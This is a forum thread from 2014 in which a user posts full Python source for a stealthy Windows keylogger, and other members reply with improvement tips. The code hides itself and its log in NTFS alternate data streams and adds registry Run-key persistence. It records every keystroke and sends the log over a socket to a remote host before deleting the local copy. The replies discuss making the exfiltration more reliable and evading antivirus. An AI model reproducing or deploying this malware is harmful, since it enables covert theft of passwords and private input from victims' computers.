Author Topic: [Python] Just Another Python Keylogger  (Read 1579 times)

0 Members and 1 Guest are viewing this topic.

Offline gray

  • Serf
  • *
  • Posts: 33
  • Cookies: 16
    • View Profile
[Python] Just Another Python Keylogger
« on: July 14, 2014, 10:09:16 pm »
I've been working on a Windows based Python keylogger for the past days, and I thought I would share the code here. Although it's usable in its current form, I intend to come back to it at some point, after I get more familiar with the intricacies of Windows programming, and add some features that I didn't have the knowledge (and time, and patience) to implement right away, along with improving what could be improved in its current version.

Overview of what it does:

When started, it hides itself in the ADS of a file and saves the log in another ADS. It checks if the current user has Administrator privileges, and if it does, it adds a registry entry for all users to run at startup, unless it's been already added. If user isn't an admin, it adds registry entry for the current user only. When it exits, it sends the log to a remote host via sockets and deletes the local log.


Code: [Select]

import pyHook
import pythoncom
import win32api, win32event
import sys
import shutil
import os
import socket
import atexit
import ctypes
import _winreg



def checkPriv():
    """
    Check if the current user has admin rights
    Return True if admin or False if not
    """
    try:
        is_admin = os.getuid() == 0
    except AttributeError:
        is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
    return is_admin


# log name
LOGFILE = 'log'

# file to attach log to
LOGHOST = 'Path_of_file_to_hide_log_in' # ex.: C:/Users/admin/Desktop/hidelog.txt

# file to hide in
HIDDEN = 'C:/Users/admin/Desktop/hideme.txt:japk.py' # dummy file to hide keylogger in (this is what I  used for testing


def hideSelf():
    """
    When the program runs, move it from its current location to a more stealthy
    location inside an ADS
    """
    # path of the program
    path = os.path.abspath(sys.argv[0])
    if path != HIDDEN:
        try:
            shutil.move(path, HIDDEN)
        except shutil.Error:
            return
hideSelf()



def logKeys(data):
    """
    Write the logged keys to a file and hide it in an ADS
    """

    try:
        with open("%s:%s" % (LOGHOST, LOGFILE), "a") as f:
       
            f.write(data)
    except IOError, e:
        print e
        sys.exit(1)


# remote host details for sending the log
ip = 'some_ip_here'
port = 80

def sendLog(host, port):
    """
    Send log and clean up
    """
    # read in file
    try:
        with open("%s:%s" % (LOGHOST, LOGFILE), 'r') as f:
            contents = f.read()
    except IOError, e:
        print e
        sys.exit(1)

    # length of the data that will be sent
    length = len(contents)

    # send the log contents
    try:   
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((host, port))

        total = 0
        while total < length:
            sent = sock.send(contents[total:])
            if sent == 0:
                return
            total += sent
            if sent == length:
                # delete local log
                os.remove("%s:%s" % (LOGHOST, LOGFILE))
   
        sock.close()
    except socket.error, e:
        print e
        sock.close()
        return

   
   
   
   
# send the log when program exits
atexit.register(sendLog, ip, port)


# variables for registry constants #
HKLM = _winreg.HKEY_LOCAL_MACHINE
HKCU = _winreg.HKEY_CURRENT_USER


if checkPriv() == True:
    # reg handle for HKLM
    hklm_reg = _winreg.ConnectRegistry(None, HKLM)
else:
    # reg handle for HKCU
    hkcu_reg = _winreg.ConnectRegistry(None, HKCU)
   
startup = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

# these will be added to registry if user is admin
hklm_key = 'Admin log'
hklm_val = 'python C:\\Users\\admin\\Desktop\\hideme.txt:japk.py' # example of path

# these will be added to registry if user is not admin
hkcu_key = 'Standard log'
hkcu_val = 'path_of_the_keylogger_for_standard_user'


def checkRegVal(reg, regkey):
    """
    Check if registry entry already exists
    Return the entry if it does or False otherwise
    reg => registry handle
    regkey => name of the subkey for the keylogger
    """
   
    try:
        key = _winreg.OpenKey(reg, startup, 0, _winreg.KEY_READ)
    except WindowsError, e:
        print e
        return
    try:
        val = _winreg.QueryValueEx(key, regkey)
        return val
    except EnvironmentError:
            return False
   


def addToStartup():
    """
    Add script to startup by modifying the registry
    """
    if checkPriv() == True:
   
        if checkRegVal(hklm_reg, hklm_key) == False:
       
            try:                 
                # get a handle to the desired key
                key = _winreg.OpenKey(hklm_reg, startup, 0, _winreg.KEY_WRITE)               
                # set registry value 
                _winreg.SetValueEx(key,hklm_key,0, _winreg.REG_SZ, hklm_val)       
            except (WindowsError, EnvironmentError), e:
                print e
                return
            _winreg.CloseKey(key)
            _winreg.CloseKey(hklm_reg)
        else:
             return

    # if not admin
    else:
        # check first if entry was added for all users
        if checkRegVal(hklm_reg, hklm_key) == True:
            return
       
        # check if entry was added for current user
        elif checkRegVal(hkcu_reg, hkcu_key) == True:
            return
       
        # add entry if it wasn't present already
        else:
            try:
                key = _winreg.OpenKey(hkcu_reg, startup, 0, _winreg.KEY_WRITE)
                _winreg.SetValueEx(key,hkcu_key,0, _winreg.REG_SZ, hkcu_val)
            except (WindowsError, EnvironmentError), e:       
                print e
                return
            _winreg.CloseKey(key)
            _winreg.CloseKey(hkcu_reg)
   
         
addToStartup()   


           
def monitorKeys(event):
    """
    This function does the keylogging
    """
    data = ""
    if event.Ascii == 13:
        keys = '<ENTER>\n'
    elif event.Ascii == 8:
        keys = '<BACKSPACE>'
    elif event.Ascii == 9:
        keys = '<TAB>'
    elif event.Ascii == 127:
        keys = '<DELETE>'
    # debug only remove / comment out when done
    elif event.Ascii == 126:
        sys.exit(0) # needed a hotkey to kill it during testing
    else:
        keys = chr(event.Ascii)
    data += keys
    logKeys(data)
    return True





# Registers and manages callbacks for low level mouse and keyboard events.
hook = pyHook.HookManager()

# Registers the given function as the callback for this keyboard event type.
# Use the KeyDown property as a shortcut.
hook.KeyDown = monitorKeys

# Begins watching for keyboard events.
hook.HookKeyboard()

# Pumps all messages for the current thread until a WM_QUIT message.
pythoncom.PumpMessages()


I tested it on Windows 7 32 bit with UAC disabled. Also, I tested the individual components for both admin and normal user, but the final version only as admin user because of the following:

- I wasn't able to find a location that would be accessible by all users, regardless of privilege, so I tested it with different file hosts for admin and normal user. So, even if the keylogger was added at startup for all users, its path wouldn't exist for non-admins

- I had to find a location for hiding that would ensure the script would run at startup. Initially I hid it in C: , and it would work if called directly, but when called from the startup entry, it wouldn't write the log file (although it still grabbed the keystrokes)

<random rant>
This was the first time I wrote something specifically for Windows and it was awful. For every small step forward there were like 10 complications popping up. Some things didn't work for no apparent reason, so I had to resort to trial and error.

That number of Windows restarts..
</random rant>

If you don't want to see the Python console, it can be saved as .pyw and ran with no console output.

It can also be packaged as an exe, but it will be necessary to modify some of the source code.

I can't say how portable it is between versions of Windows, especially the registry editing part might not work on 64 bit. I only tested it on one version, because there is a limit to how many virtual machines one can have, and I can't delete any of my other ones to make space for a new one.

If anyone wants to play with it, it might be better to comment out the hiding and ADS parts and save the log normally to be able to check that everything works  instead of fumbling for ADS's. The most efficient way I found for testing was to comment out the hiding and send log parts for the initial tests.

Maybe it would have looked more organized with OOP, but when I started it, I only expected to write the keylogging part and some log sending functionality, when I got ideas for the rest I added those too and it grew a bit outside the initially expected proportions.

« Last Edit: July 15, 2014, 08:37:32 pm by gray »

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: [Python] Just Another Python Keylogger
« Reply #1 on: July 15, 2014, 06:37:31 am »
Not bad, just 1 thing - when sending the log, maybe try to catch an exception so that you know if the log was sent successfully and delete the local log only then. As I see now you remove the log regardless if it came through or not...

Offline neomagik

  • NULL
  • Posts: 2
  • Cookies: 0
    • View Profile
Re: [Python] Just Another Python Keylogger
« Reply #2 on: July 15, 2014, 07:50:20 am »
Real win32 noob here, so here goes related followup question:

GetAsyncKeyState -- is it still useful in this day and age? It made keyloggers simpler back in the day, counterintuitively even stealthier under some AVs as it was less noisy than installing input event hooks.

Offline gray

  • Serf
  • *
  • Posts: 33
  • Cookies: 16
    • View Profile
Re: [Python] Just Another Python Keylogger
« Reply #3 on: July 15, 2014, 08:33:44 pm »
Thanks Kulverstukas, you were right, I am editing the code now to add such a check. I will borrow the solution proposed by the Socket Programming HOWTO on the Python docs to check that the return value of send() matches the length of the data being sent, and only then delete the log.

@neomagik: Well, I am in no position to answer questions about the Win32 API. In Python, it seems the win32api module is a wrapper for the low level Windows functions. For AV evasion, I agree that going as low as possible would be better than using higher level interfaces.